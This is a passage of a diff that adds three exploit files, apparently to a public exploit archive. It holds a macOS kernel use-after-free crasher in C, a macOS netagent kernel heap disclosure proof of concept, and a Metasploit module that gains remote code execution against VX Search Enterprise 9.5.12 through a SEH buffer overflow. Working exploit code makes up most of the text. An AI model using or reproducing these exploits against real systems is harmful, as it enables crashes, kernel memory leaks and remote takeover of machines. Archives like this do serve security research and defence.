panic("unp_externalize:fdalloc"); + fp = fileproc_alloc_init(NULL); + if (fp == NULL) + panic("unp_externalize: MALLOC_ZONE"); + fp->f_iocount = 0; + fp->f_fglob = rp[i]; + if (fg_removeuipc_mark(rp[i])) + fgl[i] = rp[i]; + else + fgl[i] = NULL; + procfdtbl_releasefd(p, f, fp); + fds[i] = f; + } + proc_fdunlock(p); <-------- (b) + + for (i = 0; i < newfds; i++) { + if (fgl[i] != NULL) { + VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ); + fg_removeuipc(fgl[i]); <--------- (c) + } + if (fds[i]) + (void) OSAddAtomic(-1, &unp_rights); + } + + +The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver +and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized +the fd is released and associated with the new fp. + +At (b) the code then drops the process fd lock at which point other threads can access the fd table again. + +At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't* +hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing +the fd between (b) and (c). + +Use zone poisoning for a reliable crasher. + +tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static const char kDummyData = 'D'; + +static int ReadDescriptor(int fd, int *fdRead) + // Read a descriptor from fd and place it in *fdRead. + // + // On success, the caller is responsible for closing *fdRead. +{ + int err; + int junk; + struct msghdr msg; + struct iovec iov; + struct { + struct cmsghdr hdr; + int fd; + } control; + char dummyData; + ssize_t bytesReceived; + + // Pre-conditions + + assert(fd >= 0); + assert( fdRead != NULL); + assert(*fdRead == -1); + + // Read a single byte of data from the socket, with the assumption + // that this byte has piggybacked on to it a single descriptor that + // we're trying to receive. This is pretty much standard boilerplate + // code for reading descriptors; see for details. + + iov.iov_base = (char *) &dummyData; + iov.iov_len = sizeof(dummyData); + + msg.msg_name = NULL; + msg.msg_namelen = 0; + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + msg.msg_control = &control; + msg.msg_controllen = sizeof(control); + msg.msg_flags = MSG_WAITALL; + + do { + bytesReceived = recvmsg(fd, &msg, 0); + if (bytesReceived == sizeof(dummyData)) { + if ( (dummyData != kDummyData) + || (msg.msg_flags != 0) + || (msg.msg_control == NULL) + || (msg.msg_controllen != sizeof(control)) + || (control.hdr.cmsg_len != sizeof(control)) + || (control.hdr.cmsg_level != SOL_SOCKET) + || (control.hdr.cmsg_type != SCM_RIGHTS) + || (control.fd < 0) ) { + err = EINVAL; + } else { + *fdRead = control.fd; + err = 0; + } + } else if (bytesReceived == 0) { + err = EPIPE; + } else { + assert(bytesReceived == -1); + + err = errno; + assert(err != 0); + } + } while (err == EINTR); + + assert( (err == 0) == (*fdRead >= 0) ); + + return err; +} + +static int WriteDescriptor(int fd, int fdToWrite) + // Write the descriptor fdToWrite to fd. +{ + int err; + struct msghdr msg; + struct iovec iov; + struct { + struct cmsghdr hdr; + int fd; + } control; + ssize_t bytesSent; + char ack; + + // Pre-conditions + + assert(fd >= 0); + assert(fdToWrite >= 0); + + control.hdr.cmsg_len = sizeof(control); + control.hdr.cmsg_level = SOL_SOCKET; + control.hdr.cmsg_type = SCM_RIGHTS; + control.fd = fdToWrite; + + iov.iov_base = (char *) &kDummyData; + iov.iov_len = sizeof(kDummyData); + + msg.msg_name = NULL; + msg.msg_namelen = 0; + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + msg.msg_control = &control; + msg.msg_controllen = control.hdr.cmsg_len; + msg.msg_flags = 0; + do { + bytesSent = sendmsg(fd, &msg, 0); + if (bytesSent == sizeof(kDummyData)) { + err = 0; + } else { + assert(bytesSent == -1); + + err = errno; + assert(err != 0); + } + } while (err == EINTR); + + return err; +} + +char* filenames[10] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j"}; + +void parent(int sock) { + int f = 0; + while(1) { + char* filename = filenames[f]; + f++; + f %= 10; + int to_send = open(filename, O_CREAT|O_RDWR, 0644); + + int err = WriteDescriptor(sock, to_send); + printf("err: %x\n", err); + + close(to_send); + } +} + +void* child_thread(void* arg) { + while(1) { + close(3); + } +} + +void child(int sock) { + for (int i = 0; i < 10; i++) { + pthread_t t; + pthread_create(&t, NULL, child_thread, NULL); + } + while (1) { + int received = -1; + int err = ReadDescriptor(sock, &received); + close(received); + } +} + +int main() { + int socks[2]; + socketpair(PF_LOCAL, SOCK_STREAM, 0, socks); + + pid_t pid = fork(); + if (pid != 0) { + close(socks[1]); + parent(socks[0]); + int wl; + waitpid(pid, &wl, 0); + exit(EXIT_SUCCESS); + } else { + close(socks[0]); + child(socks[1]); + exit(EXIT_SUCCESS); + } + return 0; +} diff --git a/platforms/multiple/dos/42055.c b/platforms/multiple/dos/42055.c new file mode 100755 index 000000000..3a06bc9b5 --- /dev/null +++ b/platforms/multiple/dos/42055.c @@ -0,0 +1,300 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1140 + +netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type +NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code: + + static errno_t + netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload, + u_int32_t payload_length) + { + int data_size = 0; + struct netagent_wrapper *new_wrapper = NULL; + u_int32_t response_error = 0; + struct netagent *register_netagent = (struct netagent *)(void *)payload; <----------- (a) + + if (session == NULL) { + NETAGENTLOG0(LOG_ERR, "Failed to find session"); + response_error = EINVAL; + goto done; + } + + if (payload == NULL) { + NETAGENTLOG0(LOG_ERR, "No payload received"); + response_error = EINVAL; + goto done; + } + + if (session->wrapper != NULL) { + NETAGENTLOG0(LOG_ERR, "Session already has a registered agent"); + response_error = EINVAL; + goto done; + } + + if (payload_length < sizeof(struct netagent)) { <----------- (b) + NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)", + payload_length, sizeof(struct netagent)); + response_error = EINVAL; + goto done; + } + + data_size = register_netagent->netagent_data_size; + if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) { <----------- (c) + NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d", + data_size); + response_error = EINVAL; + goto done; + } + + MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK); + if (new_wrapper == NULL) { + NETAGENTLOG0(LOG_ERR, "Failed to allocate agent"); + response_error = ENOMEM; + goto done; + } + + memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size); + memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size); <------------ (d) + + response_error = netagent_handle_register_inner(session, new_wrapper); + if (response_error != 0) { + FREE(new_wrapper, M_NETAGENT); + goto done; + } + + NETAGENTLOG0(LOG_DEBUG, "Registered new agent"); + netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE); + + done: + return response_error; + } + + +The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel. + +At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure. +Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of +data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain +data_size bytes of data though. + +This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap. + +Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1 +*/ + +// ianbeer +#if 0 +iOS/MacOS kernel memory disclosure due to lack of bounds checking in netagent socket option handling + +netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type +NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code: + + static errno_t + netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload, + u_int32_t payload_length) + { + int data_size = 0; + struct netagent_wrapper *new_wrapper = NULL; + u_int32_t response_error = 0; + struct netagent *register_netagent = (struct netagent *)(void *)payload; <----------- (a) + + if (session == NULL) { + NETAGENTLOG0(LOG_ERR, "Failed to find session"); + response_error = EINVAL; + goto done; + } + + if (payload == NULL) { + NETAGENTLOG0(LOG_ERR, "No payload received"); + response_error = EINVAL; + goto done; + } + + if (session->wrapper != NULL) { + NETAGENTLOG0(LOG_ERR, "Session already has a registered agent"); + response_error = EINVAL; + goto done; + } + + if (payload_length < sizeof(struct netagent)) { <----------- (b) + NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)", + payload_length, sizeof(struct netagent)); + response_error = EINVAL; + goto done; + } + + data_size = register_netagent->netagent_data_size; + if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) { <----------- (c) + NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d", + data_size); + response_error = EINVAL; + goto done; + } + + MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK); + if (new_wrapper == NULL) { + NETAGENTLOG0(LOG_ERR, "Failed to allocate agent"); + response_error = ENOMEM; + goto done; + } + + memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size); + memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size); <------------ (d) + + response_error = netagent_handle_register_inner(session, new_wrapper); + if (response_error != 0) { + FREE(new_wrapper, M_NETAGENT); + goto done; + } + + NETAGENTLOG0(LOG_DEBUG, "Registered new agent"); + netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE); + + done: + return response_error; + } + + +The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel. + +At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure. +Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of +data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain +data_size bytes of data though. + +This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap. + +Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1 +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +int ctl_open(char* control_name) { + int sock; + int error = 0; + struct ctl_info kernctl_info; + struct sockaddr_ctl kernctl_addr; + + sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL); + if (sock < 0) { + printf("failed to open a SYSPROTO_CONTROL socket: %s\n", strerror(errno)); + goto done; + } + + memset(&kernctl_info, 0, sizeof(kernctl_info)); + strlcpy(kernctl_info.ctl_name, control_name, sizeof(kernctl_info.ctl_name)); + + error = ioctl(sock, CTLIOCGINFO, &kernctl_info); + if (error) { + printf("Failed to get the control info for control named \"%s\": %s\n", control_name, strerror(errno)); + goto done; + } + + memset(&kernctl_addr, 0, sizeof(kernctl_addr)); + kernctl_addr.sc_len = sizeof(kernctl_addr); + kernctl_addr.sc_family = AF_SYSTEM; + kernctl_addr.ss_sysaddr = AF_SYS_CONTROL; + kernctl_addr.sc_id = kernctl_info.ctl_id; + kernctl_addr.sc_unit = 0; + + error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr)); + if (error) { + printf("Failed to connect to the control socket: %s\n", strerror(errno)); + goto done; + } + +done: + if (error && sock >= 0) { + close(sock); + sock = -1; + } + + return sock; +} + +#define NETAGENT_OPTION_TYPE_REGISTER 1 +#define NETAGENT_DOMAINSIZE 32 +#define NETAGENT_TYPESIZE 32 +#define NETAGENT_DESCSIZE 128 + +struct netagent_req64 { + uuid_t netagent_uuid; + char netagent_domain[NETAGENT_DOMAINSIZE]; + char netagent_type[NETAGENT_TYPESIZE]; + char netagent_desc[NETAGENT_DESCSIZE]; + u_int32_t netagent_flags; + u_int32_t netagent_data_size; + uint64_t netagent_data __attribute__((aligned(8))); +}; + +struct netagent { + uuid_t netagent_uuid; + char netagent_domain[NETAGENT_DOMAINSIZE]; + char netagent_type[NETAGENT_TYPESIZE]; + char netagent_desc[NETAGENT_DESCSIZE]; + u_int32_t netagent_flags; + u_int32_t netagent_data_size; + u_int8_t netagent_data[0]; +}; + +#define SIOCGIFAGENTDATA64 _IOWR('i', 168, struct netagent_req64) + +int main(){ + int fd = ctl_open("com.apple.net.netagent"); + if (fd < 0) { + printf("failed to get control socket :(\n"); + return 1; + } + printf("got a control socket! %d\n", fd); + + struct netagent na = {0}; + na.netagent_uuid[0] = 123; + na.netagent_data_size = 4096; + + int err = setsockopt(fd, + SYSPROTO_CONTROL, + NETAGENT_OPTION_TYPE_REGISTER, + &na, + sizeof(na)); + if (err == -1) { + perror("setsockopt failed"); + return 0; + } else { + printf("set the option!\n"); + } + + uint64_t* buf = malloc(4096); + memset(buf, 0, 4096); + + struct netagent_req64 req = {0}; + req.netagent_uuid[0] = 123; + req.netagent_data_size = 4096; + req.netagent_data = (uint64_t)buf; + + + err = ioctl(fd, SIOCGIFAGENTDATA64, &req); + if (err == -1) { + perror("get getinterface agent data failed"); + }else { + printf("got something?\n"); + for (int i = 0; i < 4096/8; i++) { + printf("%016llx\n", buf[i]); + } + } + + + return 0; +} diff --git a/platforms/windows/remote/42057.rb b/platforms/windows/remote/42057.rb new file mode 100755 index 000000000..b9b8fe077 --- /dev/null +++ b/platforms/windows/remote/42057.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Seh + include Msf::Exploit::Remote::Egghunter + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VX Search Enterprise GET Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability + in the web interface of VX Search Enterprise v9.5.12, caused by + improper bounds checking of the request path in HTTP GET requests + sent to the built-in web server. This module has been tested + successfully on Windows 7 SP1 x86. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Daniel Teixeira' + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x09\x0a\x0d\x20\x26", + 'Space' => 500 + }, + 'Targets' => + [ + [ 'VX Search Enterprise v9.5.12', + { + 'Offset' => 2488, + 'Ret' => 0x10015ffe # POP # POP # RET [libspp.dll] + } + ] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Mar 15 2017', + 'DefaultTarget' => 0)) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/' + ) + + if res && res.code == 200 + version = res.body[/VX Search Enterprise v[^<]*/] + if version + vprint_status("Version detected: #{version}") + if version =~ /9\.5\.12/ + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Detected + end + else + vprint_error('Unable to determine due to a HTTP connection timeout') + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Safe + end + + def exploit + + eggoptions = { + checksum: true, + eggtag: rand_text_alpha(4, payload_badchars) + } + + hunter, egg = generate_egghunter( + payload.encoded, + payload_badchars, + eggoptions + ) + + sploit = rand_text_alpha(target['Offset']) + sploit << generate_seh_record(target.ret) + sploit << hunter + sploit << make_nops(10) + sploit << egg + sploit << rand_text_alpha(5500) + + print_status('Sending request...') + + send_request_cgi( + 'method' => 'GET', + 'uri' => sploit + ) + end +end \ No newline at end of file